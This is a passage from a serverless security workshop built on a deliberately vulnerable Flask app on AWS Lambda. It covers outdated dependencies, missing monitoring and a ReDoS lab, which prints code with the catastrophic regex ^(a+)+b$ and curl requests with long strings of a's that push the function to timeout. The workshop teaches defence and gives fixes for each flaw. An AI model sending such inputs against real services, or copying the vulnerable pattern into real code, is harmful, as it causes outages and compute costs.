Impact: The Lambda function has full access to every S3 bucket in the AWS account. The function does not use S3 at all. Combined with command injection, stolen credentials give the attacker full S3 access.

Fix

  • Load secrets from AWS Secrets Manager or SSM Parameter Store at runtime. Never commit secrets to source code.
  • Reference secrets in serverless.yml with ${ssm:/app/variable_1}. Never store secrets as plaintext environment variables.
  • Follow least privilege: grant only the specific actions on the specific resources the function needs.
  • Run truffleHog or git-secrets in CI to catch leaks before they reach the repository.

Next step: Insecure Third-Party Components

SLS-8: Insecure Third-Party Components

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless

Theory: What are Insecure Third-Party Components?

Our app uses libraries (Flask, Werkzeug…) written by others. If a library version has a known bug (a CVE), our app inherits it. Attackers do not need to find new bugs, they look up public exploits for old versions.

Example: You use library==1.0. A CVE is published for 1.0, fixed in 1.2. Until you upgrade, anyone can attack you with the public exploit.

Objective

Read the pinned versions in requirements.txt and see how outdated dependencies are flagged as vulnerable.

Check the pinned dependency versions:

cat requirements.txt

Output:

flask==3.1.0
werkzeug==3.1.3
markupsafe==3.0.2

GitHub Dependabot has flagged 6 known vulnerabilities on this repository — 4 moderate, 2 low. These are published CVEs with known exploit techniques. Attackers do not need to find new bugs — they use existing exploits against versions you forgot to update.

Fix: Enable Dependabot or Renovate for automated update PRs. Run pip-audit -r requirements.txt in CI to fail builds with known vulnerabilities. Keep dependencies minimal — fewer packages, fewer attack surfaces.

SLS-9: Insufficient Logging & Monitoring

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless

Theory: What is Insufficient Logging & Monitoring?

Logging records what happens (requests, errors, logins). Monitoring watches those logs and raises an alert when something looks wrong. Without them, an attack happens and nobody knows.

Example: Someone tries 10,000 passwords on your login. With monitoring, an alarm fires after 20 failures. Without it, they get in and you find out weeks later.

Objective

Check whether serverless.yml has any alarms, tracing, WAF, or logging, to see if the earlier attacks could have been detected.

Check if the deployment config mentions any monitoring:

grep -ic 'alarm\|trace\|waf\|xray\|logging' serverless.yml

Output:

0

Zero matches. No CloudWatch alarms, no X-Ray tracing, no WAF, no application-level security logging. We exploited six different vulnerabilities in this workshop. None of them triggered an alert.

Impact: Attacks succeed silently. No one is paged. You would not know until the damage is discovered — days or weeks later.

Fix: Enable X-Ray tracing (tracing: lambda: true in serverless.yml). Add CloudWatch alarms for error rates and unusual invocation counts. Deploy AWS WAF on API Gateway to block known attack patterns.

ReDoS — Regular Expression Denial of Service

Some regular expression patterns cause the regex engine to enter exponential backtracking on certain inputs. The engine tries every possible way to match the pattern before giving up, and each additional character doubles the number of combinations.

In serverless, this is especially dangerous. A single HTTP request with a crafted string can make a Lambda function spin at 100% CPU until it hits its timeout (default: 6 seconds, max: 15 minutes). The function is unresponsive during this time, and you pay for every millisecond of execution.

One request, one regex, one string — that is all it takes for a denial of service. No botnets, no traffic floods. Just a carefully chosen input.

ReDoS has caused outages at Cloudflare (2019) and Stack Overflow, and is a common finding in bug bounty programs.

OWASP Serverless Top 10: SLS-10 — Event Injection / ReDoS

Lab: Regular Expression Denial of Service

Objective

Demonstrate how a single HTTP request with a crafted string can exhaust a Lambda function and cause a denial of service.

Why This Matters

Traditional denial of service requires flooding a target with traffic. ReDoS requires a single request. The attacker sends one string that makes the regex engine backtrack exponentially. In serverless, this means:

  • The Lambda runs at 100% CPU until timeout
  • You pay for every millisecond of that wasted compute
  • Legitimate requests to the same function may queue or fail
  • No WAF or rate limiter catches it — the request looks normal

Cloudflare experienced a global outage in July 2019 caused by a single bad regex deployed to their WAF. Stack Overflow has also been affected by ReDoS patterns in their input validation.

The Vulnerable Code

The /redos endpoint matches user input against an evil regex:

@app.route('/redos')
def redos():
    user_string = request.args.get('string')
    malicious_regex = "^(a+)+b$"
    match = re.match(malicious_regex, user_string)

The pattern ^(a+)+b$ has nested quantifiers: a+ (one or more a’s) wrapped in ()+ (one or more groups). When the string contains only a characters and no trailing b, the regex engine tries every possible way to split the a’s into groups before concluding there is no match.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Step 1 — Normal request (fast)

curl "$ENDPOINT/redos?string=aaaaaab"

The string aaaaaab matches the pattern. Response time is near zero:

Response time: 0:00:00.000094

Step 2 — Attack: 20 a’s (noticeable)

Remove the b and send 20 a characters:

curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaa"

Response time jumps to ~80ms. The regex engine is backtracking through thousands of combinations.

Step 3 — Attack: 25 a’s (slow)

curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaa"

Response time jumps to 2-3 seconds. Each extra a roughly doubles the processing time.

Step 4 — Attack: 28 a’s (timeout)

curl -m 30 "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The Lambda function hits its timeout. API Gateway returns Internal server error. The function was completely unresponsive for its entire timeout duration — from a single request.

Step 5 — Watch the pattern

Compare the response times across your requests. You will see exponential growth:

Input lengthApproximate time
7 a’s + b< 1 ms
20 a’s~80 ms
25 a’s2-3 seconds
28 a’sLambda timeout

Each additional a doubles the computation. This is catastrophic backtracking.

What Happened

The regex ^(a+)+b$ has nested quantifiers. When the input has no b at the end, the engine must try every possible way to divide the a characters into groups before concluding the match fails. With n characters of a, there are 2^n possible groupings to try.

Fix:

  • Avoid nested quantifiers like (a+)+, (a*)*, or (a+)*

  • Use atomic groups or possessive quantifiers where your regex engine supports them

  • Set a timeout on regex operations

  • Use tools like safe-regex to lint patterns before deploying

  • Next step: Security Review: Serverless Configuration

Thank you

🎯 Workshop Completed

You've successfully finished the AWS Lambda Security Workshop by peachycloudsecurity.

🧹 Cleanup — Remove AWS Resources

Delete all deployed resources so you do not incur ongoing charges:

osls remove

Verify the stack is gone:

aws cloudformation list-stacks --stack-status-filter CREATE_COMPLETE UPDATE_COMPLETE \
  | grep very-vulnerable-serverless

If there is no output, the stack has been deleted successfully.

💬 Quick feedback

☆ ☆ ☆ ☆ ☆
☆ ☆ ☆ ☆ ☆

📢 Stay connected

🔥 Don't miss new labs & real-world exploits

🔔 Subscribe Now

No spam. Only practical security content.